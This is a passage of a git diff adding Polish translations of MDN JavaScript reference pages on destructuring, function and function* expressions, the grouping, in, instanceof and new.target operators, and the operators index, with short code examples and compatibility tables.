+      father: "Richard Jones",
+      brother: "Howard Jones"
+    },
+    age: 25
+  }
+];
+
+for (var {name: n, family: { father: f } } of people) {
+  console.log("Name: " + n + ", Father: " + f);
+}
+
+// "Name: Mike Smith, Father: Harry Smith"
+// "Name: Tom Jones, Father: Richard Jones"
+ +

Wyciąganie pól z obiektów przekazanych jako parametr funkcji

+ +
function userId({id}) {
+  return id;
+}
+
+function whois({displayName, fullName: {firstName: name}}){
+  console.log(displayName + " is " + name);
+}
+
+var user = {
+  id: 42,
+  displayName: "jdoe",
+  fullName: {
+      firstName: "John",
+      lastName: "Doe"
+  }
+};
+
+console.log("userId: " + userId(user)); // "userId: 42"
+whois(user); // "jdoe is John"
+ +

To wyciąga id, displayNamefirstName z obiektu user i wypisuje je.

+ +

Wyznaczane nazwy właściwości obiektów i destrukturyzacja

+ +

Wyznaczane nazwy waściwości, tak samo jak wh literałach obiektowych, mogą być używane z destrukturyzacją.

+ +
let key = "z";
+let { [key]: foo } = { z: "bar" };
+
+console.log(foo); // "bar"
+
+ + + +

Reszta w destrukturyzacji obiektów

+ +

Własciwości reszty/rozproszenia dla ECMAScript (proponowane, etap 3) dodają składnię reszty do destrukturyzacji. Właściwości reszty zbierają pozostałe klucze, które nie zostały pobrane poprzez wzorzec destrukturyzacji.

+ +
let {a, b, ...rest} = {a: 10, b: 20, c: 30, d: 40}
+a; // 10
+b; // 20
+rest; // { c: 30, d: 40 }
+ +

Nipoprawny identyfikator JavaScript jako nazwa własności

+ +

Destrukturyzacja może zostać użyta z nazwami własności, które nie są poprawnymi identyfikatorami JavaScript poprzez zapewnienie alternatywnego, poprawnego identyfikatora.

+ +
const foo = { 'fizz-buzz': true };
+const { 'fizz-buzz': fizzBuzz } = foo;
+
+console.log(fizzBuzz); // "true"
+ + + +

Specyfikacje

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES2015', '#sec-destructuring-assignment', 'Destructuring assignment')}}{{Spec2('ES2015')}}Definicja wstępna.
{{SpecName('ESDraft', '#sec-destructuring-assignment', 'Destructuring assignment')}}{{Spec2('ESDraft')}}
+ +

Kompatybilność przeglądarek

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)EdgeInternet ExplorerOperaSafari
Basic support{{CompatChrome(49.0)}}{{ CompatGeckoDesktop("1.8.1") }}14{{CompatNo}}{{CompatNo}}7.1
Computed property names{{CompatChrome(49.0)}}{{ CompatGeckoDesktop("34") }}14{{CompatNo}}{{CompatNo}}{{CompatNo}}
Spread operator{{CompatChrome(49.0)}}{{ CompatGeckoDesktop("34") }}12[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(49.0)}}{{ CompatGeckoMobile("1.0") }}{{CompatNo}}{{CompatNo}}8{{CompatChrome(49.0)}}
Computed property names{{CompatNo}}{{CompatChrome(49.0)}}{{ CompatGeckoMobile("34") }}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatChrome(49.0)}}
Spread operator{{CompatNo}}{{CompatChrome(49.0)}}{{ CompatGeckoMobile("34") }}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(49.0)}}
+
+ +

[1] Wymaga odblokowanej flagi "Enable experimental Javascript features" w `about:flags`

+ +

Notatki specyficzne dla Firefox'a

+ + + +

Zobacz też

+ + diff --git a/files/pl/web/javascript/reference/operators/function/index.html b/files/pl/web/javascript/reference/operators/function/index.html new file mode 100644 index 0000000000..1d13d1a3c0 --- /dev/null +++ b/files/pl/web/javascript/reference/operators/function/index.html @@ -0,0 +1,144 @@ +--- +title: Operator function +slug: Web/JavaScript/Referencje/Operatory/Operator_function +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Operators/function +--- +

 

+ +

Podsumowanie

+ +

Operator function jest używany do definiowania funkcji wewnątrz wyrażenia.

+ +

Składnia

+ +
function [nazwa]([argument1[, argument2[, ..., argumentN]]]) { instrukcje }
+
+ +

Parametry

+ +
+
nazwa
+
Nazwa funkcji. Może zostać pominięta, w takim wypadku funkcja staje się anonimowa. Nazwa jest tylko lokalna i istnieje wewnętrz funkcji.
+
+ +
+
argumentN
+
Nazwa argumentu, który ma zostać przekazany do funkcji. Funkcja może posiadać do 255 argumentów.
+
+ +
+
instrukcje
+
Instrukcje, które stanowią ciało funkcji.
+
+ +

Opis

+ +

Wyrażenie funkcji jest bardzo podobne do deklaracji funkcji i posiada niemal identyczną składnię (zobacz function, aby uzyskać bardziej szczegółowe informacje). Główną różnicą pomiędzy wyrażeniem a definicją jest nazwa funkcji, która może zostać pominięta i utworzyć funkcję anonimową. Zobacz Funkcje, aby uzyskać informacje o różnicach między instrukcjami funkcji a wyrażeniami funkcji.

+ +

Przykłady

+ +

Poniższy przykład definiuje nienazwaną funkcję i przypisują ją do x. Funkcja zwraca kwadrat jej argumentów:

+ +
var x = function(y) {
+   return y * y;
+};
+
+ +

Nazwane wyrażenie

+ +
var math = {
+  'factorial': function factorial(n) {
+    if (n <= 1)
+      return 1;
+    return n * factorial(n - 1);
+  }
+};
+ +

Specyfikacja

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarze
{{SpecName('ESDraft', '#sec-function-definitions', 'Function definitions')}}{{Spec2('ESDraft')}} 
{{SpecName('ES6', '#sec-function-definitions', 'Function definitions')}}{{Spec2('ES6')}} 
{{SpecName('ES5.1', '#sec-13', 'Function definition')}}{{Spec2('ES5.1')}} 
{{SpecName('ES3', '#sec-13', 'Function definition')}}{{Spec2('ES3')}}Zaimplementowano w JavaScript 1.5.
+ +

Wsparcie przeglądarek

+ +

{{CompatibilityTable}}

+ + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+ + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+ +

Zobacz także

+ +

Funkcje, Function, Polecenie function

diff --git a/files/pl/web/javascript/reference/operators/function_star_/index.html b/files/pl/web/javascript/reference/operators/function_star_/index.html new file mode 100644 index 0000000000..52d7a67c98 --- /dev/null +++ b/files/pl/web/javascript/reference/operators/function_star_/index.html @@ -0,0 +1,90 @@ +--- +title: wyrażenie function* +slug: Web/JavaScript/Referencje/Operatory/function* +tags: + - ECMAScript2015 + - Iterator + - JavaScript + - Operator + - funkcja +translation_of: Web/JavaScript/Reference/Operators/function* +--- +
{{jsSidebar("Operators")}}
+ +

Słowo kluczowe function* może być użyte do zdefiniowania funkcji generatora wewnątrz wyrażenia.

+ +
{{EmbedInteractiveExample("pages/js/expressions-functionasteriskexpression.html")}}
+ + + +

Składnia

+ +
function* [nazwa]([param1[, param2[, ..., paramN]]]) {
+   wyrażenia
+}
+ +

Parametry

+ +
+
nazwa
+
Nazw funkcji. Może być pominięta w przyadku funkcji anonimowych. Nazwa jest lokalna i ograniczona do ciała funkcji.
+
paramN
+
Nazwa argumentu przekazywanego do funkcji. Funkcja może mieć do 255 argumentów.
+
wyrażenia
+
Wyrażenia, które zawiera ciało funkcji.
+
+ +

Opis

+ +

Wyrażenie function* jest bardzo podobne i ma niemal taką samą składnię jak {{jsxref('Statements/function*', 'polecenie function*')}}. Zasadnicza różnica między wyrażenem function* a poleceniem function* to nazwa funkcji, która może być pominięta w wyrażeniach function*, co pozwala na tworzenie anonimowych funkcji generatorów. Zobacz również rozdział o funkcjach, aby dowiedzieć się więcej.

+ +

Przykłady

+ +

Następujący przykład definiuje nienazwaną funkcję generatora i przypisuje ją do x. Funkcja zwraca przekazany argument podniesiony do kwadratu.

+ +
var x = function*(y) {
+   yield y * y;
+};
+
+ +

Specyfikacje

+ + + + + + + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-generator-function-definitions', 'function*')}}{{Spec2('ES2015')}}Definicja początkowa.
{{SpecName('ESDraft', '#sec-generator-function-definitions', 'function*')}}{{Spec2('ESDraft')}} 
+ +

Wsparcie przeglądarek

+ + + +

{{Compat("javascript.operators.function_star")}}

+ +

Zobacz też

+ + diff --git a/files/pl/web/javascript/reference/operators/grouping/index.html b/files/pl/web/javascript/reference/operators/grouping/index.html new file mode 100644 index 0000000000..5a076c3fb0 --- /dev/null +++ b/files/pl/web/javascript/reference/operators/grouping/index.html @@ -0,0 +1,90 @@ +--- +title: Operator grupowania +slug: Web/JavaScript/Referencje/Operatory/Grouping +tags: + - JavaScript + - Operator +translation_of: Web/JavaScript/Reference/Operators/Grouping +--- +
{{jsSidebar("Operators")}}
+ +

Operator grupowania ( ) pozwala na określenie kolejności wykonywania działań w wyrażeniach.

+ +
{{EmbedInteractiveExample("pages/js/expressions-groupingoperator.html")}}
+ + + +

Składnia

+ +
 ( )
+ +

Opis

+ +

Operator grupowania składa się z pary nawiasów otaczających wyrażenie lub podwyrażenie. Pozwala na nadpisanie standardowego pierwszeństwa operatorów, tak że wyrażenia z niższym piorytetem mogą być wykonane przed wyrażeniami z wyższym priorytetem. Zgodnie z nazwą, operator ten grupuje wyrażenia znajdujące się w nawiasach.

+ +

Przykłady

+ +

Nadpisanie zasady wykonywania mnożenia i dzielenia przed dodawaniem i odejmowaniem w taki sposób, by dodawanie wykonane było jako pierwsze.

+ +
var a = 1;
+var b = 2;
+var c = 3;
+
+// domyślna kolejność
+a + b * c     // 7
+// wykonywana domyślnie w taki sposób
+a + (b * c)   // 7
+
+// zmiana kolejności wykonywania działań
+// dodawanie przed mnożeniem
+(a + b) * c   // 9
+
+// co odpowiada wyrażeniu
+a * c + b * c // 9
+
+ +

Specyfikacje

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ESDraft', '#sec-grouping-operator', 'The Grouping Operator')}}{{Spec2('ESDraft')}} 
{{SpecName('ES6', '#sec-grouping-operator', 'The Grouping Operator')}}{{Spec2('ES6')}} 
{{SpecName('ES5.1', '#sec-11.1.6', 'The Grouping Operator')}}{{Spec2('ES5.1')}} 
{{SpecName('ES1', '#sec-11.1.4', 'The Grouping Operator')}}{{Spec2('ES1')}}Initial definition. Implemented in JavaScript 1.0.
+ +

Wsparcie przeglądarek

+ + + +

{{Compat("javascript.operators.grouping")}}

+ +

Zobacz też

+ + diff --git a/files/pl/web/javascript/reference/operators/in/index.html b/files/pl/web/javascript/reference/operators/in/index.html new file mode 100644 index 0000000000..0a8ef0f068 --- /dev/null +++ b/files/pl/web/javascript/reference/operators/in/index.html @@ -0,0 +1,92 @@ +--- +title: Operator in +slug: Web/JavaScript/Referencje/Operatory/Operator_in +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Operators/in +--- +

 

+

Podsumowanie

+

Operator in zwraca wartość true (prawda), jeśli określona własność jest w określonym obiekcie.

+ + + + + + + + + + +
Operator
Zaimplementowany w:JavaScript 1.4
+

Składnia

+

+ + propNameOrNumber + in + + objectName +

+

Parametry

+
+
+ propNameOrNumber
+
+ Łańcuch znaków lub wartość liczbowa reprezentujące nazwę własności lub indeks tablicy.
+
+
+
+ objectName
+
+ Nazwa obiektu.
+
+

Opis

+

Poniższe przykłady pokazują wybrane sposoby użycia operatora in.

+
// Tablice
+trees=new Array("redwood","bay","cedar","oak","maple")
+0 in trees        // zwraca true
+3 in trees        // zwraca true
+6 in trees        // zwraca false
+"bay" in trees    // zwraca false (musisz określić numer indeksu,
+                  // nie wartość w tym indeksie)
+"length" in trees // zwraca true (length jest własnością tablicy Array)
+
+// Obiekty predefiniowane
+"PI" in Math          // zwraca true
+myString=new String("coral")
+"length" in myString  // zwraca true
+
+// Custom objects
+mycar = {make:"Honda",model:"Accord",year:1998}
+"make" in mycar  // zwraca true
+"model" in mycar // zwraca true
+
+

Musisz określić obiekt z prawej strony operatora in. Na przykład: możesz określić łańcuch znaków stworzony za pomocą konstruktora String, ale nie możesz określić łańcucha znaków wprost.

+
color1=new String("green")
+"length" in color1 // zwraca true
+color2="coral"
+"length" in color2 // generuje błąd (color nie jest obiektem typu String)
+
+

Zastosowanie in z usuniętymi lub niezdefiniowanymi własnościami

+

Jeśli usuniesz własność za pomocą operatora delete, operator in zwróci wartość false (fałsz) dla tej własności.

+
mycar = {make:"Honda",model:"Accord",year:1998}
+delete mycar.make
+"make" in mycar  // zwraca false
+
+trees=new Array("redwood","bay","cedar","oak","maple")
+delete trees[3]
+3 in trees // zwraca false
+
+

Jeśli ustalisz własność jako niezdefiniowaną, ale nie usuniesz jej, operator in zwróci wartość true (prawda) dla tej własności.

+
mycar = {make:"Honda",model:"Accord",year:1998}
+mycar.make=undefined
+"make" in mycar  // zwraca true
+
+trees=new Array("redwood","bay","cedar","oak","maple")
+trees[3]=undefined
+3 in trees // zwraca true
+
+

Aby uzyskać dodatkowe informacje o zastosowaniu operatora in z usuniętymi elementami tablicy, zobacz delete.

diff --git a/files/pl/web/javascript/reference/operators/index.html b/files/pl/web/javascript/reference/operators/index.html new file mode 100644 index 0000000000..016c55af35 --- /dev/null +++ b/files/pl/web/javascript/reference/operators/index.html @@ -0,0 +1,282 @@ +--- +title: Operatory +slug: Web/JavaScript/Referencje/Operatory +tags: + - JavaScript + - Operators +translation_of: Web/JavaScript/Reference/Operators +--- +
{{jsSidebar("Operators")}}
+ +

This chapter documents all the JavaScript language operators, expressions and keywords.

+ +

Wyrażenia i operatory w podziale na  kategorie

+ +

 

+ +

Lista operatorów w kolejności alfabetycznej znajduje sie w pasku bocznym po lewej stronie.

+ +

Wyrażenia podstawowe

+ +

Podstawowe słowa kluczowe i wyrażenia w  JavaScript.

+ +
+
{{jsxref("Operator/this", "this")}}
+
Słowo this odnosi się do kontekstu wywołania.
+
{{jsxref("Operator/function", "function")}}
+
Słowo function umożliwia zdefniowanie wyrażenia funkcji .
+
{{experimental_inline}} {{jsxref("Operatory/class", "class")}}
+
Słowo class definiuje wyrażenie klasy.
+
{{experimental_inline}} {{jsxref("Operatory/function*", "function*")}}
+
The function* keyword defines a generator function expression.
+
{{experimental_inline}} {{jsxref("Operatory/yield", "yield")}}
+
Pause and resume a generator function
+
{{experimental_inline}} {{jsxref("Operatory/yield*", "yield*")}}
+
Delegate to another generator function or iterable object.
+
{{jsxref("Global_Objecty/Array", "[]")}}
+
Array initializer/literal syntax.
+
{{jsxref("Operatory/Object_initializer", "{}")}}
+
Object initializer/literal syntax.
+
{{jsxref("RegExp", "/ab+c/i")}}
+
Regular expression literal syntax.
+
{{experimental_inline}} {{jsxref("Operatory/Array_comprehensions", "[for (x of y) x]")}}
+
Array comprehensions.
+
{{experimental_inline}} {{jsxref("Operatory/Generator_comprehensions", "(for (x of y) y)")}}
+
Generator comprehensions.
+
{{jsxref("Operatory/Grouping", "( )")}}
+
Grouping operator.
+
+ +

Left-hand-side expressions

+ +

Left values are the destination of an assignment.

+ +
+
{{jsxref("Operatory/Property_accessors", "Property accessors", "", 1)}}
+
Member operators provide access to a property or method of an object
+ (object.property and object["property"]).
+
{{jsxref("Operatory/new", "new")}}
+
The new operator creates an instance of a constructor.
+
{{experimental_inline}} {{jsxref("Operatory/super", "super")}}
+
The super keyword calls the parent constructor.
+
{{experimental_inline}} {{jsxref("Operatory/Spread_operator", "...obj")}}
+
The spread operator allows an expression to be expanded in places where multiple arguments (for function calls) or multiple elements (for array literals) are expected.
+
+ +

Increment and decrement

+ +

Postfix/prefix increment and postfix/prefix decrement operators.

+ +
+
{{jsxref("Operatory/Operatory_arytmetyczne", "A++", "#Inkrementacja")}}
+
Postfix increment operator.
+
{{jsxref("Operatory/Operatory_arytmetyczne", "A--", "#Dekrementacja")}}
+
Postfix decrement operator.
+
{{jsxref("Operatory/Operatory_arytmetyczne", "++A", "#Inkrementacja")}}
+
Prefix increment operator.
+
{{jsxref("Operatory/Operatory_arytmetyczne", "--A", "#Dekrementacja")}}
+
Prefix decrement operator.
+
+ +

Unary operators

+ +

A unary operation is operation with only one operand.

+ +
+
{{jsxref("Operatoryy/delete", "delete")}}
+
The delete operator deletes a property from an object.
+
{{jsxref("Operatory/void", "void")}}
+
The void operator discards an expression's return value.
+
{{jsxref("Operatory/typeof", "typeof")}}
+
The typeof operator determines the type of a given object.
+
{{jsxref("Operatory/Operatory_arytmetyczne", "+", "#Unary_plus")}}
+
The unary plus operator converts its operand to Number type.
+
{{jsxref("Operatory/Operatory_arytmetyczne", "-", "#Unary_negation")}}
+
The unary negation operator converts its operand to Number type and then negates it.
+
{{jsxref("Operatory/Bitwise_Operators", "~", "#Bitwise_NOT")}}
+
Bitwise NOT operator.
+
{{jsxref("Operatory/Logical_Operators", "!", "#Logical_NOT")}}
+
Logical NOT operator.
+
+ +

Operatory arytmetyczne

+ +

Arithmetic operators take numerical values (either literals or variables) as their operands and return a single numerical value.

+ +
+
{{jsxref("Operatory/Operatory_arytmetyczne", "+", "#Addition")}}
+
Addition operator.
+
{{jsxref("Operatory/Operatory_arytmetyczne", "-", "#Subtraction")}}
+
Subtraction operator.
+
{{jsxref("Operatory/Operatory_arytmetyczne", "/", "#Division")}}
+
Division operator.
+
{{jsxref("Operatory/Operatory_arytmetyczne", "*", "#Multiplication")}}
+
Multiplication operator.
+
{{jsxref("Operatory/Operatory_arytmetyczne", "%", "#Remainder")}}
+
Remainder operator.
+
+ +

Operatory porównania

+ +

Operator porównania, jak nazwa wskazuje, porównuje operandy  i zwraca wartość logiczną zależną od tego, czy wartość porównania jest prawdziwa. 

+ +
+
{{jsxref("Operatory/in", "in")}}
+
Operator in ustala, czy obiekt posiada daną właściwość.
+
{{jsxref("Operatory/instanceof", "instanceof")}}
+
Operator instanceof ustala czy obiekt jest instancją innego obiektu.
+
{{jsxref("Operatory/Comparison_Operators", "<", "#Less_than_operator")}}
+
Less than operator.
+
{{jsxref("Operatory/Comparison_Operators", ">", "#Greater_than_operator")}}
+
Greater than operator.
+
{{jsxref("Operatory/Comparison_Operators", "<=", "#Less_than_or_equal_operator")}}
+
Less than or equal operator.
+
{{jsxref("Operatory/Comparison_Operators", ">=", "#Greater_than_or_equal_operator")}}
+
Greater than or equal operator.
+
+ +

Equality operators

+ +

The result of evaluating an equality operator is always of type Boolean based on whether the comparison is true.

+ +
+
{{jsxref("Operatory/Comparison_Operators", "==", "#Equality")}}
+
Equality operator.
+
{{jsxref("Operatory/Comparison_Operators", "!=", "#Inequality")}}
+
Inequality operator.
+
{{jsxref("Operatory/Comparison_Operators", "===", "#Identity")}}
+
Identity operator.
+
{{jsxref("Operatory/Comparison_Operators", "!==", "#Nonidentity")}}
+
Nonidentity operator.
+
+ +

Bitwise shift operators

+ +

Operations to shift all bits of the operand.

+ +
+
{{jsxref("Operatory/Bitwise_Operators", "<<", "#Left_shift")}}
+
Bitwise left shift operator.
+
{{jsxref("Operatory/Bitwise_Operators", ">>", "#Right_shift")}}
+
Bitwise right shift operator.
+
{{jsxref("Operatory/Bitwise_Operators", ">>>", "#Unsigned_right_shift")}}
+
Bitwise unsigned right shift operator.
+
+ +

Binary bitwise operators

+ +

Bitwise operators treat their operands as a set of 32 bits (zeros and ones) and return standard JavaScript numerical values.

+ +
+
{{jsxref("Operatory/Bitwise_Operators", "&", "#Bitwise_AND")}}
+
Bitwise AND.
+
{{jsxref("Operatory/Bitwise_Operators", "|", "#Bitwise_OR")}}
+
Bitwise OR.
+
{{jsxref("Operatory/Bitwise_Operators", "^", "#Bitwise_XOR")}}
+
Bitwise XOR.
+
+ +

Binary logical operators

+ +

Logical operators are typically used with boolean (logical) values, and when they are, they return a boolean value.

+ +
+
{{jsxref("Operatory/Logical_Operators", "&&", "#Logical_AND")}}
+
Logical AND.
+
{{jsxref("Operatory/Logical_Operators", "||", "#Logical_OR")}}
+
Logical OR.
+
+ +

Conditional (ternary) operator

+ +
+
{{jsxref("Operatory/Conditional_Operator", "(condition ? ifTrue : ifFalse)")}}
+
+

The conditional operator returns one of two values based on the logical value of the condition.

+
+
+ +

Assignment operators

+ +

An assignment operator assigns a value to its left operand based on the value of its right operand.

+ +
+
{{jsxref("Operatory/Assignment_Operators", "=", "#Assignment")}}
+
Assignment operator.
+
{{jsxref("Operatory/Assignment_Operators", "*=", "#Multiplication_assignment")}}
+
Multiplication assignment.
+
{{jsxref("Operatory/Assignment_Operators", "/=", "#Division_assignment")}}
+
Division assignment.
+
{{jsxref("Operatory/Assignment_Operators", "%=", "#Remainder_assignment")}}
+
Remainder assignment.
+
{{jsxref("Operatory/Assignment_Operators", "+=", "#Addition_assignment")}}
+
Addition assignment.
+
{{jsxref("Operatory/Assignment_Operators", "-=", "#Subtraction_assignment")}}
+
Subtraction assignment
+
{{jsxref("Operatory/Assignment_Operators", "<<=", "#Left_shift_assignment")}}
+
Left shift assignment.
+
{{jsxref("Operatory/Assignment_Operators", ">>=", "#Right_shift_assignment")}}
+
Right shift assignment.
+
{{jsxref("Operators/Assignment_Operators", ">>>=", "#Unsigned_right_shift_assignment")}}
+
Unsigned right shift assignment.
+
{{jsxref("Operatory/Assignment_Operators", "&=", "#Bitwise_AND_assignment")}}
+
Bitwise AND assignment.
+
{{jsxref("OperatorsyAssignment_Operators", "^=", "#Bitwise_XOR_assignment")}}
+
Bitwise XOR assignment.
+
{{jsxref("Operatory/Assignment_Operators", "|=", "#Bitwise_OR_assignment")}}
+
Bitwise OR assignment.
+
{{experimental_inline}} {{jsxref("Operatory/Destructuring_assignment", "[a, b] = [1, 2]")}}
+ {{experimental_inline}} {{jsxref("Operatory/Destructuring_assignment", "{a, b} = {a:1, b:2}")}}
+
+

Destructuring assignment allows you to assign the properties of an array or object to variables using syntax that looks similar to array or object literals.

+
+
+ +

Comma operator

+ +
+
{{jsxref("Operatory/Comma_Operator", ",")}}
+
The comma operator allows multiple expressions to be evaluated in a single statement and returns the result of the last expression.
+
+ +

Non-standard features

+ +
+
{{non-standard_inline}} {{jsxref("Operatory/Legacy_generator_function", "Legacy generator function", "", 1)}}
+
The function keyword can be used to define a legacy generator function inside an expression. To make the function a legacy generator, the function body should contains at least one {{jsxref("Operators/yield", "yield")}} expression.
+
{{non-standard_inline}} {{jsxref("Operatory/Expression_closures", "Expression closures", "", 1)}}
+
The expression closure syntax is a shorthand for writing simple function.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
ECMAScript 1st Edition.StandardInitial definition.
{{SpecName('ES5.1', '#sec-11', 'Expressions')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-ecmascript-language-expressions', 'ECMAScript Language: Expressions')}}{{Spec2('ES6')}}New: Spread operator, destructuring assignment, super keyword, Array comprehensions, Generator comprehensions
+ +

See also

+ + diff --git a/files/pl/web/javascript/reference/operators/instanceof/index.html b/files/pl/web/javascript/reference/operators/instanceof/index.html new file mode 100644 index 0000000000..d9b83cd838 --- /dev/null +++ b/files/pl/web/javascript/reference/operators/instanceof/index.html @@ -0,0 +1,168 @@ +--- +title: Operator instanceof +slug: Web/JavaScript/Referencje/Operatory/Operator_instanceof +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Operators/instanceof +--- +
{{jsSidebar("Operators")}}
+ +

Operator instanceof sprawdza czy właściwość konstruktora prototype pojawia się gdziekolwiek w łańcuchu prototypowym obiektu.

+ +

{{EmbedInteractiveExample("pages/js/expressions-instanceof.html")}}

+ + + +

Składnia

+ +
object instanceof constructor
+ +
+
+

Parametry

+ object
+
Obiekt do testowania.
+
+ +
+
constructor
+
Funkcja przeciwko której testujemy.
+
+ +

Opis

+ +

Operator instanceof sprawdza obecność constructor.prototype w łańcuchu prototypowym obiektu object

+ +
// definiowanie konstruktorów
+function C() {}
+function D() {}
+
+var o = new C();
+
+// true, ponieważ: Object.getPrototypeOf(o) === C.prototype
+o instanceof C;
+
+// false, ponieważ D.prototype nie występuje w łańcuchu prototypowym o.
+o instanceof D;
+
+o instanceof Object; // true, ponieważ:
+C.prototype instanceof Object // true
+
+C.prototype = {};
+var o2 = new C();
+
+o2 instanceof C; // true
+
+// false, ponieważ C.prototype nie ma już w łańcuchu prototypowym o
+o instanceof C;
+
+D.prototype = new C(); // add C to [[Prototype]] linkage of D
+var o3 = new D();
+o3 instanceof D; // true
+o3 instanceof C; // true since C.prototype is now in o3's prototype chain
+
+ +

Note that the value of an instanceof test can change based on changes to the prototype property of constructors, and it can also be changed by changing an object prototype using Object.setPrototypeOf. It is also possible using the non-standard __proto__ pseudo-property.

+ +

instanceof and multiple context (e.g. frames or windows)

+ +

Different scopes have different execution environments. This means that they have different built-ins (different global object, different constructors, etc.). This may result in unexpected results. For instance, [] instanceof window.frames[0].Array will return false, because Array.prototype !== window.frames[0].Array and arrays inherit from the former.

+ +

This may not make sense at first but when you start dealing with multiple frames or windows in your script and pass objects from one context to another via functions, this will be a valid and strong issue. For instance, you can securely check if a given object is, in fact, an Array using Array.isArray(myObj)

+ +

For example checking if a Nodes is a SVGElement in a different context you can use myNode instanceof myNode.ownerDocument.defaultView.SVGElement

+ +
Note for Mozilla developers:
+In code using XPCOM instanceof has special effect: obj instanceof xpcomInterface (e.g. Components.interfaces.nsIFile) calls obj.QueryInterface(xpcomInterface) and returns true if QueryInterface succeeded. A side effect of such call is that you can use xpcomInterface's properties on obj after a successful instanceof test. Unlike standard JavaScript globals, the test obj instanceof xpcomInterface works as expected even if obj is from a different scope.
+ +

Examples

+ +

Demonstrating that String and Date are of type Object and exceptional cases

+ +

The following code uses instanceof to demonstrate that String and Date objects are also of type Object (they are derived from Object).

+ +

However, objects created with the object literal notation are an exception here: Although the prototype is undefined, instanceof Object returns true.

+ +
var simpleStr = 'This is a simple string';
+var myString  = new String();
+var newStr    = new String('String created with constructor');
+var myDate    = new Date();
+var myObj     = {};
+
+simpleStr instanceof String; // returns false, checks the prototype chain, finds undefined
+myString  instanceof String; // returns true
+newStr    instanceof String; // returns true
+myString  instanceof Object; // returns true
+
+myObj instanceof Object;    // returns true, despite an undefined prototype
+({})  instanceof Object;    // returns true, same case as above
+
+myString instanceof Date;   // returns false
+
+myDate instanceof Date;     // returns true
+myDate instanceof Object;   // returns true
+myDate instanceof String;   // returns false
+
+ +

Demonstrating that mycar is of type Car and type Object

+ +

The following code creates an object type Car and an instance of that object type, mycar. The instanceof operator demonstrates that the mycar object is of type Car and of type Object.

+ +
function Car(make, model, year) {
+  this.make = make;
+  this.model = model;
+  this.year = year;
+}
+var mycar = new Car('Honda', 'Accord', 1998);
+var a = mycar instanceof Car;    // returns true
+var b = mycar instanceof Object; // returns true
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ESDraft', '#sec-relational-operators', 'Relational Operators')}}{{Spec2('ESDraft')}} 
{{SpecName('ES6', '#sec-relational-operators', 'Relational Operators')}}{{Spec2('ES6')}} 
{{SpecName('ES5.1', '#sec-11.8.6', 'The instanceof operator')}}{{Spec2('ES5.1')}} 
{{SpecName('ES3', '#sec-11.8.6', 'The instanceof operator')}}{{Spec2('ES3')}}Initial definition. Implemented in JavaScript 1.4.
+ +

Browser compatibility

+ + + +

{{Compat("javascript.operators.instanceof")}}

+ +

See also

+ + diff --git a/files/pl/web/javascript/reference/operators/new.target/index.html b/files/pl/web/javascript/reference/operators/new.target/index.html new file mode 100644 index 0000000000..8b60074e92 --- /dev/null +++ b/files/pl/web/javascript/reference/operators/new.target/index.html @@ -0,0 +1,134 @@ +--- +title: new.target +slug: Web/JavaScript/Referencje/Operatory/new.target +translation_of: Web/JavaScript/Reference/Operators/new.target +--- +
{{JSSidebar("Operators")}}
+ +

new.target pozwala sprawdzić czy konstruktor lub funkcja była zainicjalizowana używając operatora new. Kiedy w konstruktorze lub funkcji zainicjalizowany jest operatora new, new.target zwraca referencje do konstruktora lub funkcji. W normalnym wywołaniu funkcji, new.target jest {{jsxref("undefined")}}.

+ +

Syntax

+ +
new.target
+ +

Opis

+ +

new.target składa się ze słowa "new", kropki i pola o nazwie "target". Przeważnie "new." jest kontekstem dostępu do pola, ale w tym przypadku "new." nie jest tak naprawdę obiektem. W wywołaniu konstruktora, new.target nawiązuje do konstruktora wywołanego przez new więc "new." staje się wirtualnym kontekstem.

+ +

Pole new.target jest meta polem które jest dostępne dla wszystkich funkcji. W arrow functions, new.target nawiązuje do new.target otaczającej funkcji.

+ +

Przykłady

+ +

new.target w wywołaniu funkcji

+ +

W normalnym wywołaniu funkcji (w przeciwieństwie do wywołania konstruktora), new.target jest {{jsxref("undefined")}}. Pozwala Ci to stwierdzić, czy funkcja została wywołana wraz z new jako konstruktor.

+ +
function Foo() {
+  if (!new.target) throw "Foo() must be called with new";
+  console.log("Foo instantiated with new");
+}
+
+Foo(); // throws "Foo() must be called with new"
+new Foo(); // logs "Foo instantiated with new"
+
+ +

new.target w konstruktorze

+ +

